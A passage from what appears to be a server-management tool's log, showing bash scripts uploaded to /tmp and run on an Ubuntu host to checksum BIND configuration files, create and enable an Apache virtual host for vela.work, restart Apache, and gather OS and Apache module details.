				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-13 18:27:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp953468; rm /tmp/pkp953468'

2026-03-13 18:27:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 09:58:14: Establishing a connection
2026-03-14 11:48:34: Establishing a connection
2026-03-14 11:48:48: Establishing a connection
2026-03-14 11:48:48: 

PUT: /tmp/pkp931133

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 11:48:48: 

chmod 755 /tmp/pkp931133; /tmp/pkp931133; rm /tmp/pkp931133

2026-03-14 11:48:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/vela_www_work.conf 0



2026-03-14 11:48:48: 

PUT: /tmp/pkp107929

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=sites-available/vela_www_work.conf
DOCROOT=/var/www/vela_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2/sites-available/vela_www_work.conf'
	echo 'file(/etc/apache2/sites-available/vela_www_work.conf= 1'
fi


2026-03-14 11:48:48: 

chmod 755 /tmp/pkp107929; /tmp/pkp107929; rm /tmp/pkp107929

2026-03-14 11:48:48: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2/sites-available/vela_www_work.conf
file(/etc/apache2/sites-available/vela_www_work.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-03-14 11:48:48: 

PUT: /tmp/pkp846651

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-14 11:48:48: 

chmod 755 /tmp/pkp846651; /tmp/pkp846651; rm /tmp/pkp846651

2026-03-14 11:48:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 11:48:49: Performing Server Status
2026-03-14 11:48:49: 

PUT: /tmp/pkp545269

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 11:48:49: 

chmod 755 /tmp/pkp545269; /tmp/pkp545269; rm /tmp/pkp545269

2026-03-14 11:48:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-101-generic



2026-03-14 11:48:49: 

PUT: /tmp/pkp639851

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-14 11:48:49: 

chmod 755 /tmp/pkp639851; /tmp/pkp639851; rm /tmp/pkp639851

2026-03-14 11:48:49: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 675419
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      675419  0.0  1.0 261164 42976 ?        Rs   06:48   0:01 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-14 11:48:49: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
